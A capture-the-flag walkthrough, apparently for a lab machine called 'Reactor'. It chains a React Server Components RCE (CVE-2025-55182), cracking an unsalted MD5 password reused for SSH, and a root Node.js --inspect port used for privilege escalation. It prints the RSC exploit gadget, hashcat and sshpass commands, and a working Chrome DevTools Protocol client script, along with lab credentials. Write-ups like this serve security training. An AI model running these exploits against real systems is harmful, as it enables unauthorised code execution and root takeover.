Reactor is a straight line drawn through three modern-stack mistakes. The foothold is CVE-2025-55182 — the "React2Shell" prototype-pollution RCE in React Server Components — against a Next.js reactor-monitoring dashboard, landing unauthenticated code execution as the node service account. A SQLite file in the app directory holds an unsalted MD5 that rockyou cracks in seconds; the same string is the engineer user's SSH password. Root is the tidy part: a root-owned uptime-monitor service runs Node with --inspect bound to 127.0.0.1:9229, so anyone local can attach to the Node.js Inspector over the Chrome DevTools Protocol and Runtime.evaluate arbitrary code inside a root process.
Two ports. SSH is the exit; everything happens on 3000.
nmap
SP1R4@kali)-[~]└$ nmap -p- --min-rate 2000 -sC -sV <TARGET_IP> -oA reactorPORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
3000/tcp open http Node.js (Next.js)
|_http-title: ReactorWatch | Core Monitoring System
Port 3000 is a Next.js app — the response headers make that unambiguous, and they also tell us it is server-rendering React components, which is the whole attack surface for the foothold:
The page itself is a static-looking "ReactorWatch" SCADA dashboard — no login, no obvious input. The Vary: RSC header is the hint: this app accepts React Server Component action requests, and that is exactly what CVE-2025-55182 abuses.
Foothold — CVE-2025-55182 (React2Shell)
CVE-2025-55182 is an unauthenticated RCE in React Server Components (Next.js tracks its own copy as CVE-2025-66478). The short version: the RSC "server action" reply parser will follow a __proto__ key inside the serialised model, and a crafted _response._prefix value is written into a string that the deserialiser later evaluates. Set that prefix to a snippet that reaches child_process and the payload runs in the Node process — no auth, no valid action id needed. The trigger is a single multipart POST / with a Next-Action header and a body shaped like a resolved-promise model:
the payload gadget (abridged)
part "0" = {"then":"$5:__proto__:then","status":"resolved_model","reason":-3,
"value":"{\"then\":\"$B1A5E\"}",
"_response":{
"_prefix":"var r=process.mainModule.require('child_process')
.execSync('id').toString();
throw Object.assign(new Error('NEXT_REDIRECT'),
{digest:`NEXT_REDIRECT;push;/login?a=${btoa(r)};307;`});",
"_chunks":"$Q2",
"_formData":{"get":"$5:constructor:constructor"}}}
parts "1".."5" wire the reference chain; command output comes back
base64-encoded in the X-Action-Redirect response header.
Rather than hand-roll the multipart framing, I used a public PoC (Chocapikk/CVE-2025-55182) that builds the gadget and decodes the redirect header for you:
DB_PATH=/opt/reactor-app/reactor.db
SENSOR_API_KEY=rw_sk_7f8a9b2c3d4e5f6g7h8i9j0k
ALERT_WEBHOOK=https://alerts.internal.reactor.htb/webhook
NODE_ENV=production
---
CREATE TABLE users (
id INTEGER PRIMARY KEY, username TEXT NOT NULL,
password_hash TEXT NOT NULL, role TEXT NOT NULL, email TEXT
);
INSERT INTO users VALUES(1,'admin',
'a203b22191d744a4e70ada5c101b17b8','administrator','admin@reactor.htb');
INSERT INTO users VALUES(2,'engineer',
'39d97110eafe2a9a68639812cd271e8e','operator','engineer@reactor.htb');
Two 32-hex password hashes, no $ prefix, no salt column — bare unsalted MD5. A password column that can't tell you its own algorithm is already a finding.
engineer — Crack the MD5, reuse it over SSH
hashcat mode 0 is raw MD5. The engineer hash falls to rockyou immediately; admin doesn't crack (and doesn't need to):
hashcat -m 0
SP1R4@kali)-[~]└$ hashcat -m 0 -a 0 hashes.txt rockyou.txt --quiet39d97110eafe2a9a68639812cd271e8e:reactor1
The users table stores a web-app role, but people reuse passwords across the boxes that host their apps — and engineer is a real local account:
ssh engineer@<TARGET_IP>
SP1R4@kali)-[~]└$ sshpass -p 'reactor1' ssh engineer@<TARGET_IP>engineer@reactor:~$ id && cat user.txt
uid=1000(engineer) gid=1000(engineer) groups=1000(engineer),4(adm),24(cdrom),30(dip),46(plugdev),101(lxd)
[redacted — user flag]
engineer → root — the Node.js Inspector nobody closed
Process and socket enumeration turns up one thing that doesn't belong: a second Node process, owned by root, started with --inspect.
/opt/uptime-monitor/worker.js is an unremarkable script — it curls the dashboard every 30 s and appends a CSV row. What matters is how it was launched. The --inspect flag opens the V8 Inspector: a WebSocket speaking the Chrome DevTools Protocol that lets a client set breakpoints, read memory, and — the useful part — evaluate arbitrary JavaScript in the process. It is bound to loopback, but we have a shell on the box, so loopback is us. There is no token or origin check on the raw protocol.
--inspect is a development flag. In production it is equivalent to leaving a root REPL listening on a socket. The correct posture is: never in prod, and if you must, use --inspect under a dedicated unprivileged user with the port firewalled.
Driving the protocol without a debugger
The documented path is node inspect 127.0.0.1:9229, but that REPL is awkward to script over SSH, and the box has no ws module and no Python websockets library. The DevTools Protocol is just JSON over a WebSocket, though, and a WebSocket is just an HTTP upgrade plus a 4-byte XOR mask — about forty lines of dependency-free Node. First get the debugger's session UUID from the inspector's HTTP side, then send one Runtime.evaluate:
cdp.js — minimal CDP client
const net = require('net'), crypto = require('crypto');
const [PATH, EXPR] = process.argv.slice(2);
const key = crypto.randomBytes(16).toString('base64');
const sock = net.connect(9229, '127.0.0.1', () => sock.write(
`GET ${PATH} HTTP/1.1\r\nHost: 127.0.0.1:9229\r\n` +
`Upgrade: websocket\r\nConnection: Upgrade\r\n` +
`Sec-WebSocket-Key: ${key}\r\nSec-WebSocket-Version: 13\r\n\r\n`));
function send(obj) { # masked text frame
const p = Buffer.from(JSON.stringify(obj)), m = crypto.randomBytes(4);
const h = p.length < 126 ? Buffer.from([0x81, 0x80 | p.length])
: Buffer.concat([Buffer.from([0x81, 0xFE]), u16(p.length)]);
sock.write(Buffer.concat([h, m, p.map((b,i) => b ^ m[i % 4])]));
}
let up = false, buf = Buffer.alloc(0);
sock.on('data', d => {
buf = Buffer.concat([buf, d]);
if (!up) { if (!buf.includes('\r\n\r\n')) return;
up = true; buf = buf.slice(buf.indexOf('\r\n\r\n') + 4);
send({ id: 1, method: 'Runtime.evaluate',
params: { expression: EXPR, returnByValue: true } }); }
const j = readFrame(buf); # parse server frame(s)
if (j && j.id === 1) { console.log(JSON.stringify(j.result.result)); process.exit(0); }
});
The expression runs in the worker's global scope, so process.mainModule.require is reachable. Drop a SUID copy of bash:
bash -p keeps the effective UID from the SUID bit instead of dropping it — that's why the shell is euid=0 even though the real UID is still engineer. Plain /tmp/rooot without -p would have dropped back to 1000.
Why it worked
Stage
Root cause
node
RSC action-reply deserialiser follows __proto__ and evaluates an attacker-controlled _prefix — prototype pollution to RCE, CVE-2025-55182 (CWE-1321 / CWE-94)
engineer
Passwords stored as unsalted MD5; that password reused for the system SSH account (CWE-759 / CWE-521)
root
Root service started with --inspect; V8 Inspector is an unauthenticated code-execution channel to anyone on loopback (CWE-489 / CWE-306)